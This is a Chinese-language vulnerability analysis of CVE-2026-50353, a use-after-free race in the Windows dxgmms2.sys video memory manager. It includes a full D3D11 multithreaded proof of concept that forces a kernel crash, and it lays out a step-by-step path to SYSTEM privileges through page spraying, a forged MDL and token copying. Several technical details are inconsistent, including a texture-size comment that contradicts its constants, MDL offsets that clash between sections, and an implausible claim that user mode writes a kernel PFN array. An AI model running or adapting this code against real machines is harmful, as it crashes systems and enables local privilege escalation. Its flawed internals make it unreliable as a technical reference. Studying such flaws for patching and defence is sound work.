目录
- 1. 漏洞概述
- 2. DirectX 图形子系统架构
- 3. MDL 机制详解
- 4. 视频内存回收堆与 Debounce 队列
- 5. 漏洞根因深度分析
- 6. 竞态窗口时间轴
- 7. 利用思路分析
- 8. PoC 代码框架
- 9. 崩溃分析
- 10. 正常操作与触发 UAF 操作对比
- 11. 防御方案
- 12. 免责声明
1. 漏洞概述
CVE-2026-50353 是一个存在于 Windows DirectX 图形子系统内核驱动 dxgmms2.sys 中的 Use-After-Free 漏洞。该漏洞位于视频内存管理器(VidMm,Video Memory Manager)的 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange 函数中。该函数在遍历视频内存延迟解锁队列(debounce 队列)时,未对 MDL(Memory Descriptor List)对象进行任何有效性检查或加锁同步,导致在多线程竞态条件下,内核工作线程可能访问已被释放或被重用的 MDL 所指向的物理页。
攻击者通过构造精密的多线程竞态条件——在用户态线程释放 D3D11 纹理后让出 CPU,诱使内核 VidMm 工作线程处理 debounce 队列执行 MmUnlockPages,同时另一条用户态线程在此窗口内通过 CreateTexture2D 重新分配物理页——即可触发 UAF,将内存损坏转化为内核任意读写,最终实现本地提权。
漏洞核心属性表:
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-50353 |
| CVSS v4.0 | AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N — 高危 |
| 漏洞类型 | Use-After-Free + 竞态条件 |
| 影响组件 | dxgmms2.sys — VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange |
| 崩溃类型 | 0x1A_61948 (MEMORY_MANAGEMENT) 或 0xEF (CRITICAL_PROCESS_DIED) |
| 攻击向量 | 本地提权(LPE),需已认证的低权限用户 |
| 修复补丁 | KB5101650 (July 2026) |
| 利用前提 | 目标系统具备 DirectX 11+ 图形能力(几乎所有现代 Windows) |
1.1 受影响版本矩阵
| 操作系统版本 | 受影响构建范围 | 修复构建 |
|---|---|---|
| Windows 11 24H2 | < 10.0.26100.8875 | 10.0.26100.8875 |
| Windows 11 25H2 | < 10.0.26200.8875 | 10.0.26200.8875 |
| Windows 11 26H1 | < 10.0.28000.2525 | 10.0.28000.2525 |
| Windows Server 2025 | < 10.0.26100.33158 | 10.0.26100.33158 |
值得强调的是,该漏洞影响范围极为广泛——从桌面版 Windows 11 到服务器版 Windows Server 2025,因为 dxgmms2.sys 是所有支持 DirectX 的 Windows 系统的核心图形内核组件。即使在无独立 GPU 的虚拟机环境中,只要启用了 WDDM(Windows Display Driver Model)的虚拟化 GPU(如 Hyper-V 的 vGPU),该驱动同样会被加载。
2. DirectX 图形子系统架构
2.1 整体调用链
Windows 的 DirectX 图形子系统采用经典的"用户态 API → 内核态调度 → GPU 驱动"三层架构。理解这一架构是分析本漏洞的前提,因为漏洞的触发需要精确控制用户态 D3D11 API 调用与内核态 VidMm 工作线程之间的时序。
┌─────────────────────────────────────────────────────────────────────────┐
│ 用户态 (User Mode) │
│ │
│ 应用程序 (Game / D3D11 App) │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────┐ │
│ │ d3d11.dll / dxgi.dll (DirectX Graphics API)│ │
│ │ - ID3D11Device::CreateTexture2D() │ │
│ │ - ID3D11DeviceContext::Map/Unmap() │ │
│ │ - IDXGISurface::Release() │ │
│ └──────────────────┬───────────────────────────┘ │
│ │ Win32k 系统调用 / NtGdi 系统调用 │
└─────────────────────┼───────────────────────────────────────────────────┘
│
┌─────────────────────┼───────────────────────────────────────────────────┐
│ 内核态 (Kernel Mode) 系统空间 │
│ ▼ │
│ ┌──────────────────────────────────────────────┐ │
│ │ dxgkrnl.sys (DirectX Graphics Kernel)│ │
│ │ - DxgkIoCall / DdiCreateAllocation │ │
│ │ - 图形调度 (GPU Scheduler) │ │
│ └──────────────────┬───────────────────────────┘ │
│ │ │
│ ┌───────────┴────────────┐ │
│ ▼ ▼ │
│ ┌──────────────┐ ┌──────────────────────────┐ │
│ │ dxgmms2.sys │ │ GPU 驱动 (KMD) │ │
│ │ (VidMm/VidSch)│ │ igdkmd64.sys (Intel) │ │
│ │ │ │ nvlddmkm.sys (NVIDIA) │ │
│ │ VidMm: │ │ amdkmdag.sys (AMD) │ │
│ │ 视频内存管理 │ │ │ │
│ │ VidSch: │ │ DDI 接口 (DxgkDdi*) │ │
│ │ GPU命令调度 │ │ │ │
│ └──────┬───────┘ └────────────┬─────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌──────────────────────────────────────────────┐ │
│ │ GPU 硬件 (VRAM / GPU Cores) │ │
│ └──────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
2.2 dxgmms2.sys 的职责
dxgmms2.sys 是 DirectX 图形内核的辅助模块,承担两大核心职责:
-
VidMm(Video Memory Manager,视频内存管理器):负责管理 GPU 视频内存(VRAM)的分配、回收和映射。它将 GPU VRAM 抽象为可分配的 allocation 对象,并维护物理页到 GPU 虚拟地址的映射。本漏洞正是发生在 VidMm 的回收堆(Recycle Heap)子系统中。
-
VidSch(Video Scheduler,视频调度器):负责 GPU 命令缓冲区的调度和同步,确保多个进程公平且正确地共享 GPU 执行资源。
VidMm 内部维护了一个内核工作线程 VidMmWorkerThread,专门处理视频内存的异步回收和延迟解锁操作。这个工作线程是本漏洞竞态条件的关键参与者——它运行在内核态,不受用户态线程的调度控制,但其执行的解锁操作却依赖用户态线程释放的资源。
3. MDL 机制详解
3.1 MDL 在 Windows 内核 I/O 中的角色
MDL(Memory Descriptor List,内存描述符列表)是 Windows 内核中描述一段虚拟内存区域及其映射的物理页的核心数据结构。在 DirectX 子系统中,当 D3D11 纹理需要被 CPU 访问时(通过 Map/Unmap 操作),VidMm 会创建 MDL 来描述映射到 GPU VRAM 的物理页,以便内核能够正确地进行页表操作和引用计数管理。
MDL 结构与物理页映射关系:
虚拟地址空间 MDL 结构体 物理内存
┌──────────┐ ┌─────────────────────┐ ┌──────────┐
│ VA_0 │ ───映射────── │ MDL Header │ │ PFN 0x1A │
│ VA_1 │ ───映射────── │ +0x00 Next │─→NULL │ PFN 0x2B │
│ VA_2 │ ───映射────── │ +0x08 Size │ │ PFN 0x3C │
│ VA_3 │ ───映射────── │ +0x0A Flags │ │ PFN 0x4D │
│ ... │ │ +0x10 Process │ │ ... │
└──────────┘ │ +0x18 MappedSystemVa│ └──────────┘
│ +0x20 PFN Array[] │
│ [0] = 0x1A ──────────────→ PFN 0x1A
│ [1] = 0x2B ──────────────→ PFN 0x2B
│ [2] = 0x3C ──────────────→ PFN 0x3C
│ [3] = 0x4D ──────────────→ PFN 0x4D
└─────────────────────┘
关键操作:
MmProbeAndLockPages() → 锁定物理页,递增引用计数
MmMapLockedPages() → 将锁定页映射到系统虚拟地址空间
MmUnlockPages() → 解锁物理页,递减引用计数 ← 漏洞触发点
IoFreeMdl() → 释放 MDL 结构体本身
3.2 MmUnlockPages 的工作原理
MmUnlockPages 是一个关键的内核 API,其核心职责是遍历 MDL 中的 PFN(Page Frame Number)数组,对每个物理页递减引用计数(PFN 引用计数由 MMPFN 结构体维护)。当一个物理页的引用计数降为零时,该页将被归还到空闲页池,可被后续的内存分配重用。
// MmUnlockPages 内部逻辑简化 (基于逆向分析)
VOID MmUnlockPages(PMDL Mdl) {
PPFN_NUMBER PfnArray = MmGetMdlPfnArray(Mdl);
ULONG PageCount = ADDRESS_AND_SIZE_TO_SPAN_PAGES(
MmGetMdlByteOffset(Mdl),
MmGetMdlByteCount(Mdl));
for (ULONG i = 0; i < PageCount; i++) {
PFN_NUMBER Pfn = PfnArray[i];
PMMPFN PfnEntry = MI_PFN_ELEMENT(Pfn);
// 递减物理页引用计数
LONG NewRefCount = InterlockedDecrement(&PfnEntry->u3.e1.ReferenceCount);
if (NewRefCount == 0) {
// 引用计数归零 → 将物理页归还到空闲池
MiDereferenceIoPages(Pfn, ...);
// 该物理页现在可被重新分配 ← UAF利用的关键!
}
}
// 清除 MDL 的锁定标志
Mdl->MdlFlags &= ~MDL_PAGES_LOCKED;
}
漏洞关键点:当 MmUnlockPages 被调用时,如果 MDL 中的 PFN 数组指向的物理页已经被释放并重用(由于竞态条件),MiDereferenceIoPages 将访问一个已经属于其他对象的物理页,导致:
- 如果该页已被归还到空闲池:访问无效的 PFN 条目 → 触发
0x1A(MEMORY_MANAGEMENT) BugCheck - 如果该页已被重用为其他内核对象:递减错误对象的引用计数 → 导致全局资源句柄表损坏 → 触发
0xEF(CRITICAL_PROCESS_DIED) BugCheck
3.3 IoFreeMdl 的职责
IoFreeMdl 负责释放 MDL 结构体本身占用的内存(通常来自内核池)。在 UnlockRange 函数中,IoFreeMdl 紧跟在 MmUnlockPages 之后调用。然而,漏洞的根因在于 MmUnlockPages 执行时 MDL 指向的物理页可能已经失效,而非 MDL 结构体本身被释放。
4. 视频内存回收堆与 Debounce 队列
4.1 回收堆(Recycle Heap)机制
VidMm 的回收堆是一种物理页复用机制,类似于用户态堆的 free-list。当 D3D11 纹理被释放时,其占用的 VRAM 物理页不会立即归还给 GPU 驱动,而是被放入回收堆的空闲链表,以便后续的纹理分配可以快速重用这些页,减少与 GPU 驱动通信的开销。
VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW 结构 (简化):
┌─────────────────────────────────────────────────────────────┐
│ VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW │
│ +0x000 HeapView 的 self 引用 │
│ +0x008 LockedRanges Head ──→ 指向 MDL Range 链表头 │
│ +0x010 DebounceQueue Head ──→ 指向延迟解锁队列 │
│ +0x018 SpinLock ──→ (存在但 UnlockRange未使用!) │
│ +0x020 TotalSize ──→ 堆总大小 │
│ ... │
│ │
│ LockedRanges 链表: │
│ Head ──→ [Range_A] ──→ [Range_B] ──→ [Range_C] ──→ NULL │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ MDL_A MDL_B MDL_C │
│ PFN[...] PFN[...] PFN[...] │
└─────────────────────────────────────────────────────────────┘
4.2 Debounce(延迟解锁)队列
Debounce 队列是 VidMm 的性能优化机制。当 D3D11 纹理的 Unmap 或释放操作发生时,对应的 MDL 不会被立即解锁,而是被加入 debounce 队列。VidMmWorkerThread 会在后续的某个时间点(通常在 GPU 命令完成确认后)批量处理这些延迟的解锁请求。
这种延迟设计是为了确保 GPU 端已经完成了对相关物理页的所有 DMA 操作后再解锁页,避免 GPU 正在写入的页被 CPU 端重用。然而,这种异步处理引入了一个时间窗口——用户态线程在此窗口内可以触发新的纹理分配,重用 debounce 队列中尚未解锁的物理页。
4.3 VIDMM_MDL_RANGE 数据结构
每个被加入 LockedRanges 链表或 debounce 队列的 MDL 由 VIDMM_MDL_RANGE 结构体封装:
VIDMM_MDL_RANGE (0x30 = 48 bytes):
+0x00 PVOID Mdl; // MDL指针 — MmUnlockPages的操作目标
+0x08 UINT64 Offset; // 在底层allocation中的字节偏移
+0x10 UINT64 Size; // 该range覆盖的字节数
+0x18 UINT64 Next; // 链表后继指针
+0x20 UINT64 Prev; // 链表前驱指针
+0x28 PVOID HeapView; // 所属的VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW对象
Mdl 字段是整个漏洞的核心——UnlockRange 函数通过这个字段获取 MDL 指针并传递给 MmUnlockPages,但从不验证该 MDL 是否仍然有效,也不验证 MDL 中的 PFN 数组是否指向仍然锁定的物理页。
5. 漏洞根因深度分析
5.1 UnlockRange 函数逆向分析
以下是基于 IDA Pro 逆向得到的 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange 函数的伪代码,注释标注了漏洞触发路径:
__int64 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange(
VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW **this, // this指针的指针
unsigned __int64 offset, // 要解锁的起始偏移
unsigned __int64 size) // 要解锁的字节数
{
// ─── 阶段1: 在链表中查找匹配 offset/size 的起始和结束节点 ───
// find_start 和 find_end 遍历 LockedRanges 链表
// 寻找与 [offset, offset+size) 区间重叠的 Range 节点
VIDMM_MDL_RANGE *v5 = find_start(this, offset, size);
VIDMM_MDL_RANGE *v9 = find_end(this, offset, size);
if (!v5)
return 0i64;
// ─── 阶段2: 进入销毁循环 ───
// 注意: 从此处开始, 没有任何锁(SpinLock/Mutex)保护链表遍历!
// 注意: 没有对 v5->Mdl 的有效性检查!
char v12 = 0;
do {
// ★★★ 漏洞触发点 ★★★
// v5->Mdl 可能在循环迭代期间被另一个线程释放或重用
// 因为整个循环没有持有任何同步对象
MmUnlockPages(v5->Mdl); // ← 0x1a_61948 crash point
// 如果 MDL 的 PFN 指向已释放的页:
// → MiDereferenceIoPages 访问无效页
// → 0x1A BugCheck
IoFreeMdl(v5->Mdl); // 释放 MDL 结构体
*(v5->Mdl) = NULL; // 置空(但为时已晚)
VIDMM_MDL_RANGE::RemoveFromLockedRanges(v5); // 从链表移除
v5 = v5->Next; // 移动到下一个 Range
// ← Next 指针也可能已被篡改!
} while (v5 != v9 && !v12); // 直到到达结束节点
return 1i64;
}
5.2 无锁链表遍历的根本缺陷
该函数存在两个致命的同步缺陷:
缺陷一:链表遍历无锁保护。 UnlockRange 在遍历 LockedRanges 链表时,没有获取任何自旋锁或互斥体。虽然 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW 结构体中确实存在一个 SpinLock 字段(偏移 +0x018),但 UnlockRange 函数完全没有使用它。这意味着在遍历过程中,另一个线程可以并发地修改链表结构(插入或删除节点),导致 v5->Next 指针指向已被释放的内存。
缺陷二:MDL 指针无有效性验证。 在每次循环迭代中,v5->Mdl 被直接传递给 MmUnlockPages,没有任何检查来验证该 MDL 是否仍然有效(即其 PFN 数组是否仍然指向已锁定的物理页)。在 debounce 队列的异步处理模型下,从 MDL 被加入队列到 UnlockRange 实际处理它之间,存在一个时间窗口,在此窗口内用户态线程可以通过新的纹理分配导致物理页被重用。
5.3 竞态条件的本质
这个漏洞的竞态条件本质上是 TOCTOU(Time-of-Check-to-Time-of-Use) 的一种变体,但更准确地说是 TOCTOU 的逆序——即 Time-of-Use 发生在资源已经不再有效的时刻:
时间轴 用户态线程 A 内核 VidMmWorkerThread
─────────────────────────────────────────────────────────────────────
T0 CreateTexture2D(tex1) ─→ 分配物理页 P
创建 MDL_M, PFN=[P]
MDL_M 加入 LockedRanges
T1 Unmap/Release(tex1) ─→ MDL_M 移入 debounce 队列
物理页 P 尚未解锁(引用计数>0)
[让出CPU: SwitchToThread()]
T2 从 debounce 队列取出 MDL_M
调用 UnlockRange()
find_start → v5 = MDL_M
准备 MmUnlockPages(v5->Mdl)
T3 CreateTexture2D(tex2) ─→ 回收堆分配 → 重用物理页 P
P 现在属于 tex2 的 allocation
P 的引用计数被重置
T4 MmUnlockPages(v5->Mdl)
→ MiDereferenceIoPages(P)
→ P 已属于 tex2!
→ 递减错误对象的引用计数
★ 0x1A 或 0xEF 崩溃 ★
6. 竞态窗口时间轴
以下是放大后的竞态窗口详细时间轴,展示每个关键操作的微秒级时序:
│ CPU核心0 (用户态线程A) │ CPU核心1 (VidMmWorkerThread) │ 物理页P状态
├──────────────────────────────┼──────────────────────────────┼──────────────────
│ │ │
│ T0: ID3D11Texture2D::Release │ │ 引用计数=2
│ → DxgkDestroyAllocation │ │ (tex1 + MDL)
│ → MDL移入debounce队列 │ │
│ │ │
│ T1: SwitchToThread() │ │
│ ↓ 让出CPU时间片 │ │
│ ↓ (~10-50μs 空窗) │ │
│ │ T2: 处理debounce队列 │
│ │ 取出MDL_M │ 引用计数=2
│ │ 调用 UnlockRange() │
│ │ find_start() → v5=MDL_M │
│ │ ── 准备进入循环 ── │
│ │ │
│ T3: CreateTexture2D(tex2) │ │
│ → DxgkCreateAllocation │ │
│ → 回收堆查找空闲页 │ │
│ → 命中物理页P! │ │
│ → P分配给tex2 │ │ 引用计数重置!
│ → P的PFN条目更新 │ │
│ │ │
│ │ T4: MmUnlockPages(v5->Mdl) │
│ │ → 遍历PFN数组 │
│ │ → PfnArray[0] = P │ P 已不属于MDL_M!
│ │ → MiDereferenceIoPages(P)│
│ │ → 递减错误对象引用计数 │
│ │ ★ BUGCHECK 0x1A_61948 ★ │ ← 崩溃点
│ │ 或句柄表损坏 → 0xEF │
竞态窗口宽度分析:T1 到 T3 之间的窗口宽度约为 10-50 微秒(取决于 CPU 调度和系统负载)。攻击者需要在此窗口内完成 CreateTexture2D 调用,使物理页 P 被重用。由于 D3D11 的纹理创建走回收堆的 fast path,实际耗时极短(通常 <5μs),因此窗口是可利用的。
7. 利用思路分析
7.1 从 UAF 到内核任意读写
该 UAF 的利用目标是让 MmUnlockPages 操作的物理页被攻击者控制的对象占用,从而将"递减引用计数"操作转化为可控的内核内存修改。完整提权路径如下:
┌─────────────────────────────────────────────────────────────────────┐
│ 提权路径: UAF → SYSTEM │
│ │
│ Step 1: 触发 UAF │
│ ┌─────────────────────────────────────┐ │
│ │ 多线程竞态: 释放纹理 + 重分配物理页 │ │
│ │ → MmUnlockPages 操作已重用的物理页 │ │
│ └──────────────────┬──────────────────┘ │
│ ▼ │
│ Step 2: 物理页重用 (Heap Spray) │
│ ┌─────────────────────────────────────┐ │
│ │ 喷射受控对象到被UAF的物理页 │ │
│ │ 候选: SPRAY对象 / Named Pipe属性 │ │
│ │ → UAF的引用计数递减操作命中受控对象 │ │
│ └──────────────────┬──────────────────┘ │
│ ▼ │
│ Step 3: 引用计数操控 → 任意释放 │
│ ┌─────────────────────────────────────┐ │
│ │ 递减受控对象的引用计数到0 │ │
│ │ → 对象被错误释放, 但我们仍持有指针 │ │
│ │ → 经典 UAF: 悬垂指针 + 已释放对象 │ │
│ └──────────────────┬──────────────────┘ │
│ ▼ │
│ Step 4: 二次重用 → 任意读写 │
│ ┌─────────────────────────────────────┐ │
│ │ 在已释放对象位置喷射可变大小对象 │ │
│ │ → 通过悬垂指针读写受控数据 │ │
│ │ → 构造伪造的 MDL/Process对象 │ │
│ └──────────────────┬──────────────────┘ │
│ ▼ │
│ Step 5: 令牌篡改 → SYSTEM │
│ ┌─────────────────────────────────────┐ │
│ │ 读取 System Process的EPROCESS │ │
│ │ 复制 Token 指针到当前进程 │ │
│ │ → 当前进程获得 SYSTEM 令牌 │ │
│ └─────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
7.2 物理页重用攻击(Heap Spray)
物理页重用是本漏洞利用的核心技术。当 MmUnlockPages 即将递减物理页 P 的引用计数时,攻击者需要确保 P 已经被一个攻击者可控的内核对象占用。
页喷射策略:
- 释放阶段:创建大量相同大小的 D3D11 纹理(每个纹理占用整数个物理页),使回收堆填充大量相同大小的空闲页。
- 触发阶段:释放目标纹理,其物理页 P 进入回收堆的 free-list。
- 重分配阶段:在竞态窗口内,通过另一个 D3D11 设备创建相同大小的纹理,VidMm 的回收堆 fast-path 会从 free-list 头部取出物理页 P 分配给新纹理。
- MDL 伪造阶段:在新纹理的 MDL 的 PFN 数组中填入攻击者精心构造的 PFN 值,指向目标内核对象(如
EPROCESS.Token)所在的物理页。
7.3 MDL 结构体伪造
当攻击者控制了被 UAF 的物理页后,可以在该页上构造一个伪造的 MDL 结构体。当 MmUnlockPages 遍历这个伪造 MDL 的 PFN 数组时,攻击者可以指定任意 PFN,使 MiDereferenceIoPages 对任意物理页的引用计数进行操作:
// 伪造 MDL 结构 (放置在被UAF重用的物理页上)
typedef struct _FAKE_MDL {
struct _MDL *Next; // +0x00: NULL
INT16 Size; // +0x08: sizeof(MDL_HEADER) + PFN_COUNT * 8
INT16 Flags; // +0x0A: MDL_PAGES_LOCKED | MDL_IO_SPACE
union {
LONG_PTR LockedProcessPage; // +0x0C
PVOID SystemVa; // +0x10
};
PPROCESS Process; // +0x18: 当前进程EPROCESS
PVOID MappedSystemVa;// +0x20: 任意系统虚拟地址
// PFN 数组紧随其后
PFN_NUMBER PfnArray[1]; // +0x28: 目标物理页PFN ← 攻击者控制
} FAKE_MDL;
通过伪造 MDL 的 PFN 数组,攻击者可以实现:
- 任意物理页引用计数递减:将目标对象所在物理页的引用计数降到 0,使其被释放,制造二次 UAF
- 结合
MmMapLockedPages:将任意物理页映射到攻击者可写的虚拟地址空间,实现任意物理内存读写
8. PoC 代码框架
以下 PoC 代码展示了如何使用 D3D11 API 构造竞态条件来触发该漏洞。此代码仅为概念验证框架,展示了多线程竞态的核心逻辑。
// CVE-2026-50353 PoC 概念验证框架
// 编译: cl /EHsc poc.cpp /link d3d11.lib dxgi.lib
// 注意: 仅用于授权安全研究环境
#include <d3d11.h>
#include <dxgi.h>
#include <windows.h>
#include <stdio.h>
#include <thread>
#include <vector>
#pragma comment(lib, "d3d11.lib")
#pragma comment(lib, "dxgi.lib")
// ============================================================
// 全局状态
// ============================================================
static ID3D11Device* g_pDevice = nullptr;
static ID3D11DeviceContext* g_pContext = nullptr;
static volatile LONG g_bRunning = 1;
static volatile LONG g_triggerCount = 0;
// 纹理尺寸: 选择能恰好占用整数物理页的大小
// 4096x4096 R8G8B8A8 = 64MB = 16384个4KB页
static const UINT TEXTURE_WIDTH = 256;
static const UINT TEXTURE_HEIGHT = 256;
static const DXGI_FORMAT TEXTURE_FORMAT = DXGI_FORMAT_R8G8B8A8_UNORM;
// ============================================================
// 初始化 D3D11 设备
// ============================================================
bool InitD3D11() {
D3D_FEATURE_LEVEL featureLevel;
D3D_FEATURE_LEVEL featureLevels[] = {
D3D_FEATURE_LEVEL_11_1,
D3D_FEATURE_LEVEL_11_0,
D3D_FEATURE_LEVEL_10_1,
D3D_FEATURE_LEVEL_10_0,
};
HRESULT hr = D3D11CreateDevice(
nullptr, // 默认适配器
D3D_DRIVER_TYPE_HARDWARE, // 硬件驱动(触发dxgmms2.sys)
nullptr,
0, // 不使用调试标志
featureLevels,
ARRAYSIZE(featureLevels),
D3D11_SDK_VERSION,
&g_pDevice,
&featureLevel,
&g_pContext
);
if (FAILED(hr)) {
printf("[-] D3D11CreateDevice 失败: 0x%08X\n", hr);
return false;
}
printf("[+] D3D11 设备初始化成功, Feature Level: 0x%X\n", featureLevel);
return true;
}
// ============================================================
// 创建可CPU访问的D3D11纹理
// ============================================================
ID3D11Texture2D* CreateStagingTexture() {
D3D11_TEXTURE2D_DESC desc = {};
desc.Width = TEXTURE_WIDTH;
desc.Height = TEXTURE_HEIGHT;
desc.MipLevels = 1;
desc.ArraySize = 1;
desc.Format = TEXTURE_FORMAT;
desc.SampleDesc.Count = 1;
desc.Usage = D3D11_USAGE_STAGING; // CPU可读写
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ | D3D11_CPU_ACCESS_WRITE;
desc.BindFlags = 0;
desc.MiscFlags = 0;
ID3D11Texture2D* pTexture = nullptr;
HRESULT hr = g_pDevice->CreateTexture2D(&desc, nullptr, &pTexture);
if (FAILED(hr)) {
printf("[-] CreateTexture2D 失败: 0x%08X\n", hr);
return nullptr;
}
return pTexture;
}
// ============================================================
// 线程A: 快速创建-映射-释放纹理循环
// 此线程触发 MDL 加入 debounce 队列
// ============================================================
void ThreadA_ReleaseAndYield() {
printf("[*] 线程A启动: 纹理释放+让出CPU循环\n");
while (InterlockedExchangeAdd(&g_bRunning, 0)) {
// Step 1: 创建纹理 (触发物理页分配 + MDL创建)
ID3D11Texture2D* pTex = CreateStagingTexture();
if (!pTex) continue;
// Step 2: Map纹理 (建立MDL到物理页的映射, MDL加入LockedRanges)
D3D11_MAPPED_SUBRESOURCE mapped = {};
HRESULT hr = g_pContext->Map(pTex, 0, D3D11_MAP_READ_WRITE, 0, &mapped);
if (SUCCEEDED(hr)) {
// 写入数据确保物理页被实际分配
if (mapped.pData) {
memset(mapped.pData, 0x41, mapped.RowPitch * TEXTURE_HEIGHT);
}
// Step 3: Unmap (MDL移入debounce队列, 物理页尚未解锁)
g_pContext->Unmap(pTex, 0);
}
// Step 4: 释放纹理 (触发allocation销毁, MDL待debounce处理)
pTex->Release();
// ★★★ 关键: 让出CPU, 为VidMmWorkerThread创造执行窗口 ★★★
// SwitchToThread() 让当前线程放弃剩余时间片
// 此时VidMmWorkerThread可能在另一个核心上开始处理debounce队列
SwitchToThread();
InterlockedIncrement(&g_triggerCount);
}
printf("[*] 线程A退出\n");
}
// ============================================================
// 线程B: 在竞态窗口内快速创建新纹理, 重用物理页
// 此线程在debounce队列处理期间抢占物理页
// ============================================================
void ThreadB_ReclaimPhysicalPages() {
printf("[*] 线程B启动: 物理页重用竞争\n");
std::vector<ID3D11Texture2D*> textures;
textures.reserve(256);
while (InterlockedExchangeAdd(&g_bRunning, 0)) {
// 清空上一轮纹理
for (auto* t : textures) {
if (t) t->Release();
}
textures.clear();
// 快速创建大量相同大小的纹理
// 回收堆的fast-path会重用刚被释放的物理页
// 如果时序正确, 这些纹理将占用线程A释放的物理页
for (int i = 0; i < 64; i++) {
ID3D11Texture2D* pTex = CreateStagingTexture();
if (pTex) {
textures.push_back(pTex);
// Map操作建立新的MDL, 确保物理页被实际提交
D3D11_MAPPED_SUBRESOURCE mapped = {};
if (SUCCEEDED(g_pContext->Map(pTex, 0,
D3D11_MAP_WRITE_DISCARD, 0, &mapped))) {
if (mapped.pData) {
// 写入模式标记, 便于调试时识别重用的页
memset(mapped.pData, 0x42, mapped.RowPitch * TEXTURE_HEIGHT);
}
g_pContext->Unmap(pTex, 0);
}
}
}
// 极短延迟, 增加命中竞态窗口的概率
YieldProcessor();
YieldProcessor();
}
for (auto* t : textures) {
if (t) t->Release();
}
printf("[*] 线程B退出\n");
}
// ============================================================
// 线程C: 监控线程, 统计触发次数并控制运行时长
// ============================================================
void ThreadC_Monitor(DWORD durationMs) {
DWORD startTick = GetTickCount64();
while (GetTickCount64() - startTick < durationMs) {
LONG count = InterlockedExchangeAdd(&g_triggerCount, 0);
printf("[~] 触发次数: %d, 运行时间: %lu ms\n",
count, GetTickCount64() - startTick);
Sleep(1000);
}
InterlockedExchange(&g_bRunning, 0);
}
// ============================================================
// 主函数
// ============================================================
int main() {
printf("=== CVE-2026-50353 PoC 概念验证框架 ===\n");
printf("目标: dxgmms2.sys UnlockRange UAF\n");
printf("注意: 本PoC仅触发BugCheck用于漏洞确认, 不包含完整利用链\n\n");
if (!InitD3D11()) {
printf("[-] 初始化失败, 退出\n");
return -1;
}
// 启动竞态线程
// 线程数量可根据CPU核心数调整
// 建议线程A数量 = 物理CPU核心数, 线程B数量 = 1-2
std::thread tA1(ThreadA_ReleaseAndYield);
std::thread tA2(ThreadA_ReleaseAndYield);
std::thread tB(ThreadB_ReclaimPhysicalPages);
// 监控线程: 运行60秒后自动停止
std::thread tC(ThreadC_Monitor, 60000);
tA1.join();
tA2.join();
tB.join();
tC.join();
// 清理
if (g_pContext) g_pContext->Release();
if (g_pDevice) g_pDevice->Release();
printf("\n[+] PoC 执行完毕\n");
printf("[*] 如果系统未崩溃, 可能需要调整:\n");
printf(" - 增加线程A数量\n");
printf(" - 调整纹理大小以匹配回收堆粒度\n");
printf(" - 在高负载系统上运行以扩大竞态窗口\n");
return 0;
}
PoC 运行说明:该 PoC 的目标是触发 BugCheck(蓝屏)以确认漏洞存在,而非实现完整提权。成功触发时,系统将蓝屏并显示 0x1A_61948 或 0xEF 错误代码。如果系统未崩溃,说明竞态窗口未命中,需要调整线程数量、纹理大小或系统负载来扩大窗口。
9. 崩溃分析
9.1 BugCheck 0x1A 子类型 0x61948 (MEMORY_MANAGEMENT)
当 MmUnlockPages 试图递减一个已归还到空闲池的物理页的引用计数时,MiDereferenceIoPages 会检测到该 PFN 条目的状态异常(空闲页不应有 I/O 引用),触发 0x1A BugCheck。
*******************************************************************************
* *
* BugCheck Analysis *
* *
*******************************************************************************
MEMORY_MANAGEMENT (1a)
# 子类型 0x61948 表示: 在I/O页引用计数操作中检测到无效的PFN
Arguments:
Arg1: 00061948, 子类型码 - I/O page dereference on invalid PFN
Arg2: ffffaa8b`c1000000, 指向问题MDL的PFN数组的虚拟地址
Arg3: 00000000`0000000c, MDL中的PFN索引
Arg4: 00000000`00000000, 期望的MMPFN指针 (NULL表示PFN无效)
Stack Trace:
dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange+0x142
→ 调用 MmUnlockPages, 传入已被重用的MDL
dxgmms2!VidMmWorkerThread+0x8a3
→ 工作线程处理debounce队列
dxgmms2!VidMmWorkerThread+0x1f0
nt!PspSystemThreadStartup+0x47
→ 内核系统线程入口
nt!KiStartSystemThread+0x16
9.2 BugCheck 0xEF (CRITICAL_PROCESS_DIED)
当被 UAF 的物理页已经被重用为另一个内核对象(如进程句柄表条目),MiDereferenceIoPages 递减引用计数会导致该对象的内部状态损坏。如果受影响的是关键系统进程(如 csrss.exe、wininit.exe)的句柄表或资源引用,Windows 的关键进程保护机制会检测到不一致并触发 0xEF BugCheck。
CRITICAL_PROCESS_DIED (ef)
# 一个关键系统进程因内部状态损坏而终止
Arguments:
Arg1: ffffaa8b`80000b80, 终止的EPROCESS指针 (通常是csrss.exe或wininit.exe)
Arg2: 00000000`00000000, 终止码
Arg3: 00000000`00000000, 保留
Arg4: 00000000`00000000, 保留
# 根因: dxgmms2!UnlockRange中的UAF递减了csrss.exe句柄表
# 所在物理页的引用计数, 导致句柄表条目被错误释放
9.3 WinDbg 调试命令
以下是使用 WinDbg 分析该漏洞崩溃转储的关键命令序列:
# ============================================================
# WinDbg 调试命令序列
# ============================================================
# 1. 加载崩溃转储后, 查看BugCheck信息
!analyze -v
# 2. 查看崩溃调用栈
kv
# 预期输出应包含:
# dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange+0x142
# dxgmms2!VidMmWorkerThread+0x8a3
# 3. 反汇编UnlockRange函数查看crash指令
u dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange+0x120 L20
